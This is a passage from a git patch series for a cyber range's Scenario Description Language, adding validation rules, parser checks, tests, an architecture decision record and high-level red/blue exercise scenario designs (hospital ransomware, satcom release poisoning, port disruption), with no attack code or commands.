relationship keys, entity keys, and other named mapping keys are part of the language structure and must be literal. + +Variables are for **attribute values** on already-declared things. That includes fields such as counts, ports, CIDRs, paths, timings, descriptions, and similar runtime-substituted values. + +In other words: + +- `nodes: {web: ...}` — `web` is a stable SDL identifier +- `content.hostname-file.text: ${hostname}` — `${hostname}` is a variable-backed attribute value + +This means a hostname, IP, path, or display string can be variable-backed, but a node cannot be created or renamed through `${...}` inside a mapping key. + ## Quick Example ```yaml diff --git a/docs/sdl/limitations.md b/docs/sdl/limitations.md index 937c8638a..48995329a 100644 --- a/docs/sdl/limitations.md +++ b/docs/sdl/limitations.md @@ -40,7 +40,7 @@ Variables (`${var_name}`) are stored as literal strings in the model. They are * - The validator can confirm that a full-value `${var}` reference has a matching variable definition - Cross-reference rules that depend on a placeholder's final concrete value are deferred to instantiation -- Enum-backed fields and user-defined mapping keys are not yet parameterizable +- Enum-backed fields and user-defined mapping keys are not parameterizable; the parser rejects them - Type checking of the substituted runtime value is still the instantiating backend's responsibility This is a deliberate design choice (matching CACAO's model) but it still leaves backend substitution semantics as future work. diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md index 16692ddf4..cd21d5454 100644 --- a/docs/sdl/parser.md +++ b/docs/sdl/parser.md @@ -37,7 +37,14 @@ Shorthand expansion also works when the shorthand value is a full variable place ## Variables -Full-value `${var_name}` placeholders are preserved as literal strings during parsing. Structural validation currently accepts placeholders in ordinary string fields, common scalar/time fields, and many reference values. The parser does not substitute variables, evaluate expressions, or allow placeholders as user-defined mapping keys. +Full-value `${var_name}` placeholders are preserved as literal strings during parsing. Structural validation currently accepts placeholders in ordinary string fields, common scalar/time fields, and many reference values. The parser does not substitute variables or evaluate expressions. It also rejects placeholders in user-defined mapping keys, because those keys define the SDL symbol table and must stay concrete. + +The intended boundary is: + +- **Concrete identifiers**: mapping keys that define named scenario elements such as `nodes.web`, `features.apache`, `accounts.db-admin`, `relationships.app-to-db` +- **Variable-backed values**: attributes on those elements such as hostnames, ports, counts, CIDRs, paths, timings, descriptions, and other field values + +So a hostname may come from `${hostname}`, but a node key like `web` may not. ## OCR Duration Grammar diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index 861ebd577..ccdba7f8d 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -298,7 +298,7 @@ content: format: sql ``` -`target` must reference a VM node, not a switch/network node. +`target` is required for every content entry and must reference a VM node, not a switch/network node. `file` content requires `path`; `dataset` content requires either `source` or non-empty `items`; `directory` content requires `destination`. --- @@ -322,7 +322,7 @@ accounts: mail: "" ``` -`node` must reference a VM node, not a switch/network node. +`username` and `node` are required. `node` must reference a VM node, not a switch/network node. --- @@ -380,7 +380,7 @@ agents: reward_calculator: HybridImpactPwn ``` -`initial_knowledge.hosts` references VM node names, `subnets` references switch-backed infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. `allowed_subnets` follows the same switch-backed infrastructure rule. +`entity` is required and must resolve to the `entities` section. `initial_knowledge.hosts` references VM node names, `subnets` references switch-backed infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. `allowed_subnets` follows the same switch-backed infrastructure rule. --- @@ -406,7 +406,9 @@ variables: Variables are referenced as `${var_name}` in other sections. They are **not resolved at parse time** — resolution happens at instantiation. -Full-value placeholders are currently supported in ordinary string fields, common scalar fields (counts, booleans, scores, timings, RAM/CPU, ports), and many reference values. The semantic validator checks that `${var_name}` refers to a declared variable, but substitution still happens later during instantiation. User-defined mapping keys and enum-backed fields still need concrete values today. +Full-value placeholders are currently supported in ordinary string fields, common scalar fields (counts, booleans, scores, timings, RAM/CPU, ports), and many reference values. The semantic validator checks that `${var_name}` refers to a declared variable, but substitution still happens later during instantiation. User-defined mapping keys and enum-backed fields still need concrete values today, and placeholder keys are rejected at parse time. + +Think of variables as parameterizing **properties of declared objects**, not the object graph itself. For example, a node's hostname, a content file's text, or a subnet CIDR may be variable-backed, while top-level identifiers like `nodes.web`, `features.nginx`, or `accounts.domain-admin` must remain literal. `default` and every entry in `allowed_values` must match the declared `type`. If `allowed_values` is provided, `default` must be one of those values. diff --git a/src/aptl/core/sdl/accounts.py b/src/aptl/core/sdl/accounts.py index bde6cf5d9..a4a4d683c 100644 --- a/src/aptl/core/sdl/accounts.py +++ b/src/aptl/core/sdl/accounts.py @@ -9,7 +9,7 @@ from enum import Enum -from pydantic import Field, field_validator +from pydantic import Field, field_validator, model_validator from aptl.core.sdl._base import SDLModel, normalize_enum_value, parse_bool_or_var @@ -52,3 +52,9 @@ def normalize_strength(cls, v: str) -> str: @classmethod def parse_disabled(cls, v: bool | str) -> bool | str: return parse_bool_or_var(v, field_name="disabled") + + @model_validator(mode="after") + def validate_required_node(self) -> "Account": + if not self.node: + raise ValueError("Account requires 'node'") + return self diff --git a/src/aptl/core/sdl/agents.py b/src/aptl/core/sdl/agents.py index 278c7964a..658a67864 100644 --- a/src/aptl/core/sdl/agents.py +++ b/src/aptl/core/sdl/agents.py @@ -10,7 +10,7 @@ are a deployment-layer concern. """ -from pydantic import Field +from pydantic import Field, model_validator from aptl.core.sdl._base import SDLModel @@ -46,3 +46,9 @@ class Agent(SDLModel): initial_knowledge: InitialKnowledge | None = None allowed_subnets: list[str] = Field(default_factory=list) reward_calculator: str = "" + + @model_validator(mode="after") + def validate_required_entity(self) -> "Agent": + if not self.entity: + raise ValueError("Agent requires 'entity'") + return self diff --git a/src/aptl/core/sdl/content.py b/src/aptl/core/sdl/content.py index 60945fe61..b46224d93 100644 --- a/src/aptl/core/sdl/content.py +++ b/src/aptl/core/sdl/content.py @@ -13,7 +13,7 @@ from enum import Enum from typing import Optional -from pydantic import Field, field_validator +from pydantic import Field, field_validator, model_validator from aptl.core.sdl._base import SDLModel, normalize_enum_value, parse_bool_or_var from aptl.core.sdl._source import Source @@ -66,3 +66,22 @@ def normalize_type(cls, v: str) -> str: @classmethod def parse_sensitive(cls, v: bool | str) -> bool | str: return parse_bool_or_var(v, field_name="sensitive") + + @model_validator(mode="after") + def validate_type_requirements(self) -> "Content": + """Require the minimum anchors needed to describe real content.""" + if not self.target: + raise ValueError("Content requires 'target'") + + if self.type == ContentType.FILE and not self.path: + raise ValueError("File content requires 'path'") + + if self.type == ContentType.DATASET and not (self.source or self.items): + raise ValueError( + "Dataset content requires either 'source' or non-empty 'items'" + ) + + if self.type == ContentType.DIRECTORY and not self.destination: + raise ValueError("Directory content requires 'destination'") + + return self diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index c76bb42ac..165e68e21 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -40,6 +40,14 @@ }) +def _child_is_hashmap_field(key: str, value: Any) -> bool: + """Return whether the children of ``key`` are user-defined hashmap keys.""" + if key in _HASHMAP_SECTIONS or key in _NESTED_HASHMAP_FIELDS: + return True + # Complex properties use list items like ``[{switch-name: "10.0.0.10"}]``. + return key == "properties" and isinstance(value, list) + + def _normalize_field_key(k: Any) -> Any: """Normalize a Pydantic field key: lowercase + hyphens to underscores.""" if isinstance(k, str): @@ -66,13 +74,7 @@ def _normalize_keys(data: Any, is_hashmap: bool = False) -> Any: # Check if this field's children are user-defined HashMap keys child_key = norm_k if isinstance(norm_k, str) else str(norm_k) - child_is_hashmap = ( - child_key in _HASHMAP_SECTIONS - or child_key in _NESTED_HASHMAP_FIELDS - ) - # Complex properties (list of {link-name: ip}) have user-defined keys - if child_key == "properties" and isinstance(v, list): - child_is_hashmap = True + child_is_hashmap = _child_is_hashmap_field(child_key, v) result[norm_k] = _normalize_keys(v, is_hashmap=child_is_hashmap) return result if isinstance(data, list): @@ -82,6 +84,42 @@ def _normalize_keys(data: Any, is_hashmap: bool = False) -> Any: return data +def _reject_variable_mapping_keys( + data: Any, + *, + path: str = "", + is_hashmap: bool = False, +) -> None: + """Reject ``${var}`` placeholders in symbol-defining mapping keys.""" + if isinstance(data, dict): + for k, v in data.items(): + if is_hashmap and is_variable_ref(k): + key_path = f"{path}.{k}" if path else str(k) + raise SDLParseError( + "Variable placeholders are not allowed in " + f"user-defined mapping keys: '{key_path}'" + ) + + child_key = k if isinstance(k, str) else str(k) + child_path = f"{path}.{child_key}" if path else child_key + child_is_hashmap = _child_is_hashmap_field(child_key, v) + _reject_variable_mapping_keys( + v, + path=child_path, + is_hashmap=child_is_hashmap, + ) + return + + if isinstance(data, list): + for index, item in enumerate(data): + child_path = f"{path}[{index}]" + _reject_variable_mapping_keys( + item, + path=child_path, + is_hashmap=is_hashmap, + ) + + def _expand_source(value: Any) -> Any: """Expand shorthand source: 'pkg-name' → {name: 'pkg-name', version: '*'}.""" if isinstance(value, str): @@ -210,6 +248,9 @@ def parse_sdl( # Normalize keys (case-insensitive, hyphens to underscores) data = _normalize_keys(raw) + # User-defined mapping keys define the SDL symbol table and must be concrete. + _reject_variable_mapping_keys(data) + # Expand shorthands data = _expand_shorthands(data) diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index 74155bf38..b745e7ea2 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -514,6 +514,28 @@ def test_sensitive_placeholder(self): ) assert c.sensitive == "${contains_sensitive_data}" + def test_requires_target(self): + with pytest.raises(ValidationError, match="Content requires 'target'"): + Content(type="file", path="/tmp/flag.txt") + + def test_file_requires_path(self): + with pytest.raises(ValidationError, match="File content requires 'path'"): + Content(type="file", target="victim") + + def test_dataset_requires_source_or_items(self): + with pytest.raises( + ValidationError, + match="Dataset content requires either 'source' or non-empty 'items'", + ): + Content(type="dataset", target="victim") + + def test_directory_requires_destination(self): + with pytest.raises( + ValidationError, + match="Directory content requires 'destination'", + ): + Content(type="directory", target="victim") + class TestAccount: def test_basic_account(self): @@ -543,6 +565,10 @@ def test_disabled_placeholder(self): a = Account(username="svc", node="dc", disabled="${is_disabled}") assert a.disabled == "${is_disabled}" + def test_requires_node(self): + with pytest.raises(ValidationError, match="Account requires 'node'"): + Account(username="admin") + class TestACLRule: def test_allow_rule(self): @@ -706,6 +732,10 @@ def test_initial_knowledge_defaults(self): assert ik.services == [] assert ik.accounts == [] + def test_requires_entity(self): + with pytest.raises(ValidationError, match="Agent requires 'entity'"): + Agent(actions=["Scan"]) + class TestVariable: def test_string_variable(self): diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index 8f9cc272e..d874478c4 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -1,5 +1,7 @@ """Tests for SDL parser — YAML loading, key normalization, shorthands.""" +import re + import pytest from aptl.core.sdl._errors import SDLParseError, SDLValidationError @@ -45,6 +47,66 @@ def test_integer_keys_preserved(self): s = parse_sdl(sdl) assert s.name == "test" + @pytest.mark.parametrize( + ("sdl", "key_path"), + [ + ( + """ +name: test +variables: + node_name: + type: string + default: sw +nodes: + ${node_name}: + type: switch +""", + "nodes.${node_name}", + ), + ( + """ +name: test +nodes: + vm: + type: vm + resources: {ram: 1 gib, cpu: 1} + roles: + ${role_name}: root +""", + "nodes.vm.roles.${role_name}", + ), + ( + """ +name: test +nodes: + net: + type: switch + vm: + type: vm + resources: {ram: 1 gib, cpu: 1} +infrastructure: + net: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + vm: + count: 1 + links: [net] + properties: + - ${link_name}: 10.0.0.10 +""", + "infrastructure.vm.properties[0].${link_name}", + ), + ], + ) + def test_variable_placeholders_rejected_in_mapping_keys(self, sdl, key_path): + with pytest.raises( + SDLParseError, + match=re.escape( + f"user-defined mapping keys: '{key_path}'" + ), + ): + parse_sdl(sdl) + class TestShorthandExpansion: def test_source_shorthand(self): @@ -237,6 +299,42 @@ def test_switch_rejects_vm_only_fields(self): with pytest.raises(SDLParseError, match="Switch nodes cannot have VM-only fields"): parse_sdl(sdl) + @pytest.mark.parametrize( + ("sdl", "message"), + [ + ( + """ +name: test +content: + c1: + type: file +""", + "Content requires 'target'", + ), + ( + """ +name: test +accounts: + a1: + username: admin +""", + "Account requires 'node'", + ), + ( + """ +name: test +agents: + red-agent: + actions: [Scan] +""", + "Agent requires 'entity'", + ), + ], + ) + def test_extension_sections_reject_missing_anchor_fields(self, sdl, message): + with pytest.raises(SDLParseError, match=message): + parse_sdl(sdl) + class TestErrorHandling: def test_empty_content(self): From 759c51b3931716e6135b1d2627113a959a3d129b Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 20:01:03 -0700 Subject: [PATCH 12/15] Multiple refinement iterations --- CHANGELOG.md | 7 +- docs/adrs/README.md | 4 + .../adr-014-scenario-description-language.md | 7 +- .../adr-015-declarative-sdl-objectives.md | 76 + docs/index.md | 4 +- docs/sdl/complex-scenario-authoring-notes.md | 23 + docs/sdl/complex-scenarios.md | 227 +++ docs/sdl/index.md | 12 +- docs/sdl/limitations.md | 2 +- docs/sdl/parser.md | 4 +- docs/sdl/precedents.md | 28 +- docs/sdl/sections.md | 52 +- docs/sdl/testing.md | 19 + docs/sdl/validation.md | 13 +- .../hospital-ransomware-surgery-day.sdl.yaml | 747 +++++++++ .../port-authority-surge-response.sdl.yaml | 618 ++++++++ examples/satcom-release-poisoning.sdl.yaml | 681 +++++++++ src/aptl/core/scenarios.py | 3 + src/aptl/core/sdl/__init__.py | 4 +- src/aptl/core/sdl/nodes.py | 22 + src/aptl/core/sdl/objectives.py | 88 ++ src/aptl/core/sdl/parser.py | 7 +- src/aptl/core/sdl/scenario.py | 22 +- src/aptl/core/sdl/validator.py | 191 ++- tests/test_scenarios.py | 36 + tests/test_sdl_models.py | 68 + tests/test_sdl_parser.py | 58 + tests/test_sdl_realworld.py | 85 ++ tests/test_sdl_stress.py | 137 ++ tests/test_sdl_validator.py | 199 +++ uv.lock | 1355 +++++++++++++++++ 31 files changed, 4744 insertions(+), 55 deletions(-) create mode 100644 docs/adrs/adr-015-declarative-sdl-objectives.md create mode 100644 docs/sdl/complex-scenario-authoring-notes.md create mode 100644 docs/sdl/complex-scenarios.md create mode 100644 examples/hospital-ransomware-surgery-day.sdl.yaml create mode 100644 examples/port-authority-surge-response.sdl.yaml create mode 100644 examples/satcom-release-poisoning.sdl.yaml create mode 100644 src/aptl/core/sdl/objectives.py create mode 100644 uv.lock diff --git a/CHANGELOG.md b/CHANGELOG.md index 881acbeed..3767b4c85 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,14 +10,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Changed -- **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `objectives`, `scoring`, `attack_chain`, `steps`, `defenses` are no longer part of the SDL specification. The SDL now has one clean identity: 19 specification sections with `name` as the only required field. +- **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `scoring`, `attack_chain`, `steps`, and `defenses` are no longer part of the SDL specification. The legacy `objectives` block was not kept verbatim; it was replaced by a new declarative SDL `objectives` section that binds actors, targets, timing windows, and success criteria. The SDL now has one clean identity: 20 specification sections with `name` as the only required field. - **BREAKING**: Removed backward-compatibility layer (`sdl/compat.py`) and the `scenarios.py` re-export shim. Runtime code that imported `ScenarioDefinition`, `validate_scenario_containers`, or APTL-specific types from `aptl.core.scenarios` will need updating. - **BREAKING**: APTL legacy scenario YAMLs (with `metadata` block) no longer parse through the SDL. They require migration to SDL format. - Tightened structural validation for the new SDL sections: `content` now requires a `target` plus type-specific anchors (`path`, `source|items`, or `destination`), `accounts` require `node`, and `agents` require `entity`. - Parser boundary tightened: `${var}` placeholders are now rejected in user-defined mapping keys, keeping SDL identifiers concrete at parse/validate time. -- Moved runtime evaluation models to standalone modules: `aptl.core.objectives` (ObjectiveType, Objective, WazuhAlertValidation, etc.) and `aptl.core.attacks` (AttackStep, MitreReference, ExpectedDetection, etc.). These are runtime concerns, not specification concerns. +- Moved runtime evaluation models to standalone modules: `aptl.core.objectives` (ObjectiveType, Objective, WazuhAlertValidation, etc.) and `aptl.core.attacks` (AttackStep, MitreReference, ExpectedDetection, etc.). These are runtime evaluation mechanics, distinct from the declarative objective semantics carried by the SDL. - Removed 6 APTL-specific semantic validation passes from the SDL validator -- Framing: OCR scoring pipeline (conditions → metrics → evaluations → TLOs → goals) is **exercise assessment** for human-evaluated team exercises. APTL objectives are **automated validation** for agent-driven scenarios — a runtime concern that lives outside the SDL. +- Framing: OCR scoring pipeline (conditions → metrics → evaluations → TLOs → goals) stays in the SDL, and the SDL now also carries declarative objectives. Backend-specific automated validation remains a runtime concern outside the language itself. ### Removed @@ -26,7 +26,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - `src/aptl/api/routers/scenarios.py` — removed with the legacy scenario runtime cutover - `src/aptl/core/engine.py`, `src/aptl/core/evaluators.py`, `src/aptl/core/scoring.py`, `src/aptl/core/run_assembler.py` — removed pending a new SDL-native runtime - `src/aptl/core/sdl/defenses.py` — free-form defense config (underspecified) -- `src/aptl/core/sdl/objectives.py` — moved to `aptl.core.objectives` - `src/aptl/core/sdl/attacks.py` — moved to `aptl.core.attacks` - `tests/test_sdl_compat.py` — tests for removed compat layer diff --git a/docs/adrs/README.md b/docs/adrs/README.md index 9f2f4d4df..de6897426 100644 --- a/docs/adrs/README.md +++ b/docs/adrs/README.md @@ -33,3 +33,7 @@ We use [MADR](https://adr.github.io/madr/) (Markdown Any Decision Records). Each | [009](adr-009-scenario-engine.md) | Scenario Engine with YAML Specs and Run Archive Collectors | accepted | 2026-03-02 | | [010](adr-010-sonarcloud-quality.md) | SonarCloud for Continuous Code Quality | accepted | 2026-03-07 | | [011](adr-011-web-ui.md) | Notebook-Style Web UI (SvelteKit + FastAPI) | proposed | 2026-03-20 | +| [012](adr-012-opentelemetry-integration.md) | OpenTelemetry Integration | accepted | 2026-03-21 | +| [013](adr-013-deployment-abstraction.md) | Deployment Backend Abstraction Layer | accepted | 2026-03-22 | +| [014](adr-014-scenario-description-language.md) | Scenario Description Language (SDL) | accepted | 2026-03-29 | +| [015](adr-015-declarative-sdl-objectives.md) | Declarative Experiment Objectives in the SDL | accepted | 2026-03-29 | diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md index 355808f15..ade607af0 100644 --- a/docs/adrs/adr-014-scenario-description-language.md +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -20,13 +20,14 @@ Use the OCR SDL as the starting surface for `aptl.core.sdl`, preserve coverage a The SDL is a **specification language**, not a deployment tool. It describes *what a scenario is*. A separate provider binding layer (future work) translates SDL specifications into concrete infrastructure. -### Sections (19 total) +### Sections (20 total) -14 OCR-derived base sections + 5 new: +14 OCR-derived base sections + 6 new: - `content` (from CyRIS) — data placed into systems - `accounts` (from CyRIS) — user accounts within nodes - `relationships` (from STIX SRO) — typed edges between elements - `agents` (from CybORG) — autonomous participants +- `objectives` (from OCR scoring + CACAO workflow context) — declarative experiment semantics - `variables` (from CACAO) — parameterization ### Identity Model @@ -42,7 +43,7 @@ This is simpler and more composable than a dedicated identity layer. Two-phase validation: 1. **Structural** (Pydantic) — types, ranges, required fields, intra-model constraints -2. **Semantic** (SemanticValidator) — 20 named passes checking cross-references, dependency cycles, IP/CIDR consistency, typed VM/network references, OCR count constraints, and SDL domain rules +2. **Semantic** (SemanticValidator) — 21 named passes checking cross-references, dependency cycles, IP/CIDR consistency, typed VM/network references, OCR count constraints, and SDL domain rules The validator collects all errors rather than failing on the first. diff --git a/docs/adrs/adr-015-declarative-sdl-objectives.md b/docs/adrs/adr-015-declarative-sdl-objectives.md new file mode 100644 index 000000000..6efe3d365 --- /dev/null +++ b/docs/adrs/adr-015-declarative-sdl-objectives.md @@ -0,0 +1,76 @@ +# ADR-015: Declarative Experiment Objectives in the SDL + +## Status + +accepted + +## Date + +2026-03-29 + +## Context + +[ADR-014](adr-014-scenario-description-language.md) established the APTL SDL as a backend-agnostic specification language grounded in the Open Cyber Range (OCR) SDL and extended with additional sections adapted from other precedents. + +During initial implementation, the branch preserved OCR's scoring pipeline (`conditions -> metrics -> evaluations -> TLOs -> goals`) in the SDL, but treated APTL-style objectives primarily as runtime concerns because the legacy implementation had mixed together: + +- experiment meaning +- backend-specific validation probes +- scenario engine behavior + +That cleanup removed legacy runtime coupling, but it left an architectural gap: the SDL could describe topology, orchestration, agents, and scoring criteria, yet it lacked a first-class way to declare who was trying to do what, against which targets, during which exercise window, and by what success semantics. + +Research and precedent review pointed in the same direction: + +- **OCR** keeps assessment semantics in the specification layer, not only in runtime. +- **CACAO** keeps agent/target/workflow intent in the playbook specification while leaving execution adapters external. +- **CybORG** places agent-facing configuration such as actions, initial knowledge, and reward-calculator choice in scenario definitions. + +The design question was therefore not whether to restore the legacy APTL runtime `objectives` block, but whether the SDL itself should carry declarative experiment semantics. + +## Decision + +Add a first-class `objectives` section to the SDL for declarative experiment semantics. + +Each objective may declare: + +- exactly one actor: `agent` or `entity` +- optional `actions` +- optional `targets` +- required `success` criteria referencing declared `conditions`, `metrics`, `evaluations`, `tlos`, or `goals` +- optional `window` constraints over `stories`, `scripts`, and `events` +- optional `depends_on` links forming an acyclic ordering relation between objectives + +This section is intentionally declarative. It expresses: + +- who is acting +- what they are trying to affect +- when the objective matters +- how success should be interpreted + +It does **not** encode backend-specific validation probes such as Wazuh queries, command execution, file checks, polling loops, or session orchestration. Those remain runtime concerns and continue to live outside the SDL. + +### Relationship to ADR-014 + +This ADR refines ADR-014's SDL boundary by making declarative objectives part of the language itself while preserving ADR-014's backend-agnostic separation between specification and deployment/runtime mechanics. + +## Consequences + +### Positive + +- The SDL now captures experiment meaning more completely, not just topology and scoring fragments. +- Agent definitions, orchestration, scoring, and objectives can be authored and reviewed together in one specification surface. +- The runtime boundary is cleaner: the SDL defines semantics, while runtime adapters define how those semantics are checked. +- Objective dependencies can be validated structurally as an acyclic ordering graph. + +### Negative + +- The SDL surface area grows, increasing documentation and test burden. +- The distinction between declarative objective semantics and runtime evaluation mechanics must remain explicit to avoid drift back into engine-coupled schema design. +- Real-world stress scenarios need to keep pace so the section is exercised beyond unit tests. + +### Risks + +- If future runtimes need richer control flow, the current objective model may need to evolve toward a more explicit workflow model. +- Authors may infer stronger execution semantics than currently implemented unless `depends_on`, `window`, and success rules are documented precisely. +- Divergence from OCR/CACAO details remains possible if future changes borrow terminology without preserving the underlying conceptual boundary. diff --git a/docs/index.md b/docs/index.md index 222a88dc6..fe718b6d1 100644 --- a/docs/index.md +++ b/docs/index.md @@ -48,9 +48,9 @@ aptl lab start ### Scenario Description Language (SDL) - [SDL Overview](sdl/index.md) — What the SDL is and how to use it -- [Sections Reference](sdl/sections.md) — Complete reference for all 19 sections +- [Sections Reference](sdl/sections.md) — Complete reference for all 20 sections - [Parser Behavior](sdl/parser.md) — Key normalization, shorthands, SDL-only parsing -- [Semantic Validation](sdl/validation.md) — Cross-reference checks (20 passes) +- [Semantic Validation](sdl/validation.md) — Cross-reference checks (21 passes) - [Design Precedents](sdl/precedents.md) — Where each element comes from - [Limitations](sdl/limitations.md) — What the SDL cannot express yet - [Testing](sdl/testing.md) — Unit tests, stress tests, fuzz tests diff --git a/docs/sdl/complex-scenario-authoring-notes.md b/docs/sdl/complex-scenario-authoring-notes.md new file mode 100644 index 000000000..5dacdafc0 --- /dev/null +++ b/docs/sdl/complex-scenario-authoring-notes.md @@ -0,0 +1,23 @@ +# Complex Scenario Authoring Notes + +This file is a persistent issue log for the large SDL example scenarios +added in this branch. It exists specifically so scenario-authoring +friction does not disappear into chat context. + +## Notes + +- Initial design goal: author scenarios from explicit design briefs first, + then encode them into SDL examples and tests. +- Real authoring friction: enum-backed fields remain concretely typed in + practice. Attempting to parameterize `accounts.*.password_strength` with + `${var}` fails model validation, so the larger examples had to keep + those values literal. This matches the current docs, but it is a real + limitation when trying to make scenario posture tunable. +- Objectives resolve against named scenario elements, but not directly + against service bindings or ACL rules. In practice, that meant the + examples had to make important trust or control paths explicit as + `features` or `relationships` so objectives could target them cleanly. +- Release and recovery stories with branch points still need to be + flattened into `stories` / `scripts` / `events` plus objective + `depends_on`. The examples can express sequencing and windows, but not + true CACAO-style alternate branches or parallel step graphs. diff --git a/docs/sdl/complex-scenarios.md b/docs/sdl/complex-scenarios.md new file mode 100644 index 000000000..44367fd95 --- /dev/null +++ b/docs/sdl/complex-scenarios.md @@ -0,0 +1,227 @@ +# Complex SDL Scenario Designs + +This document is the up-front design pass for several intentionally +large, high-state SDL example scenarios. The goal is to design the +experiments first, then encode them in SDL, rather than letting the +current parser surface dictate the scenario concept. + +The corresponding specifications live in `examples/*.sdl.yaml`. + +## Design Principles + +- Stress multiple trust boundaries at once: identity, network, + application, data, vendor access, and recovery paths. +- Include both attack and defense experiments, not just topology. +- Use the declarative experiment surface we now have: + scoring, entities, orchestration, agents, objectives, and variables. +- Prefer scenarios we could plausibly instantiate later rather than + abstract toy graphs. +- Surface authoring friction explicitly when the SDL makes a concept + awkward or requires approximation. + +## Scenario 1: Hospital Ransomware on Surgery Day + +**Filename:** `examples/hospital-ransomware-surgery-day.sdl.yaml` + +### Exercise Question + +Can a hospital blue team preserve clinical operations and recover from +third-party-access ransomware during a live surgery-day crisis while a +red team attempts data theft and radiology disruption? + +### Topology Shape + +- Public access edge for mail and VPN +- Corporate IT segment +- Clinical application segment +- Identity segment +- Security operations segment +- Backup / recovery segment +- Vendor support segment + +### Key Systems + +- Secure mail gateway +- VPN concentrator +- Active Directory / IdP +- Exchange +- EHR application tier +- EHR database tier +- PACS / radiology archive +- Medical device gateway +- Backup vault +- SIEM / SOC node +- Vendor jump host + +### Key State + +- PHI dataset in the EHR database +- DICOM/radiology archive in PACS +- Phishing lure dataset in Exchange +- Vendor support credential material +- Immutable backup manifest and restore runbooks + +### Exercise Narrative + +1. A vendor advisory and phishing wave arrive ahead of the clinical day. +2. Red obtains a foothold through email or vendor access. +3. Red laterally moves through identity and application paths toward EHR + and PACS. +4. Red attempts simultaneous PHI theft and clinical disruption during the + surgery window. +5. Blue must contain access, preserve patient-facing availability, and + restore from trusted backups. + +### Intended Declarative Semantics + +- Red objectives: establish foothold, exfiltrate PHI, disrupt radiology +- Blue objectives: detect the intrusion, preserve EHR/PACS availability, + restore from immutable backups, produce an incident report +- Windows tied to an exercise story with pre-surgery, live-clinic, and + recovery phases +- Success based on a mix of conditional uptime metrics and manual + reporting / recovery evaluation + +### SDL Stress Surface + +- All 20 sections +- Hybrid IT + clinical + vendor trust boundaries +- Multiple agents with distinct initial knowledge and subnet scope +- Objectives that target systems, relationships, and content + +## Scenario 2: SatCom Supply-Chain Release Poisoning + +**Filename:** `examples/satcom-release-poisoning.sdl.yaml` + +### Exercise Question + +Can a platform engineering team detect and contain a poisoned signed +release before it propagates from CI/CD into regional edge gateways, +while maintaining customer telemetry and tenant isolation? + +### Topology Shape + +- Corporate engineering network +- Build / CI network +- Control-plane management network +- Edge gateway network +- Telemetry network +- Customer / federation boundary +- Security monitoring network + +### Key Systems + +- Git forge +- CI runner +- Artifact registry +- Signing/HSM service +- Control-plane API +- East and west regional edge gateways +- Telemetry broker +- Customer portal +- Support bastion +- SIEM +- Vendor and customer identity providers + +### Key State + +- Release manifests and golden configs +- Registry credentials and signing material +- Customer API keys +- Rollback playbooks and canary reports + +### Exercise Narrative + +1. Engineering enters a release freeze for a planned rollout. +2. Red compromises a build or support path and poisons a candidate + release. +3. The poisoned artifact is promoted to canary and then toward + production. +4. Blue must detect the trust break, stop promotion, roll back affected + gateways, and preserve tenant telemetry. + +### Intended Declarative Semantics + +- Red objectives: gain build access, poison a signed artifact, propagate + to at least one edge region +- Blue objectives: validate artifact trust, halt release, preserve + telemetry, complete rollback before deadline +- Release timing parameterized with variables for ring and rollback + deadline +- Relationships express management, federation, authentication, and + replication paths + +### SDL Stress Surface + +- Variables used in deployment and exercise properties +- Rich relationship graph around release, trust, and management +- Multi-agent experiment with overlapping but distinct objectives + +## Scenario 3: Port Authority Surge and Yard Disruption + +**Filename:** `examples/port-authority-surge-response.sdl.yaml` + +### Exercise Question + +Can a port authority maintain customs integrity and safe yard operations +during a cargo-surge day while a red team tampers with manifests and +degrades crane/HMI operations? + +### Topology Shape + +- Public shipping / portal edge +- Terminal IT segment +- Customs / partner link +- Yard OT segment +- Safety network +- Vendor maintenance network +- Security monitoring network +- Backup / historian network + +### Key Systems + +- Shipping portal +- Manifest database +- Terminal operating system +- Port identity provider +- Customs gateway +- Yard HMI +- Crane PLC +- Camera analytics +- Historian +- Vendor jump host +- SOC node +- Backup vault + +### Key State + +- Cargo manifests +- Hazardous materials list +- Customs hold records +- Yard camera clips +- Maintenance procedures and recovery runbooks + +### Exercise Narrative + +1. The port starts a surge day with elevated inbound cargo. +2. Red manipulates manifest data and attempts to degrade OT visibility + and crane control. +3. Customs and port operations must continue coordinated work across + organizational boundaries. +4. Blue must preserve safety, validate cargo integrity, and recover + terminal throughput. + +### Intended Declarative Semantics + +- Red objectives: tamper with manifests, degrade yard operations +- Blue objectives: preserve customs clearance fidelity, maintain safe HMI + control, recover throughput +- Story phases cover arrival, customs surge, disruption, and blackstart + recovery +- Entities model port IT, yard ops, customs, vendor, red, and white cell + +### SDL Stress Surface + +- IT/OT crossover without requiring runtime-only deployment semantics +- Relationship targets that matter to the experiment, not just topology +- Content-heavy environment with both operational and evidentiary data diff --git a/docs/sdl/index.md b/docs/sdl/index.md index c69680292..18b50bc2c 100644 --- a/docs/sdl/index.md +++ b/docs/sdl/index.md @@ -1,8 +1,8 @@ # Scenario Description Language (SDL) Reference -The APTL SDL is a YAML-based specification language for describing cyber range scenarios. It starts from the [Open Cyber Range 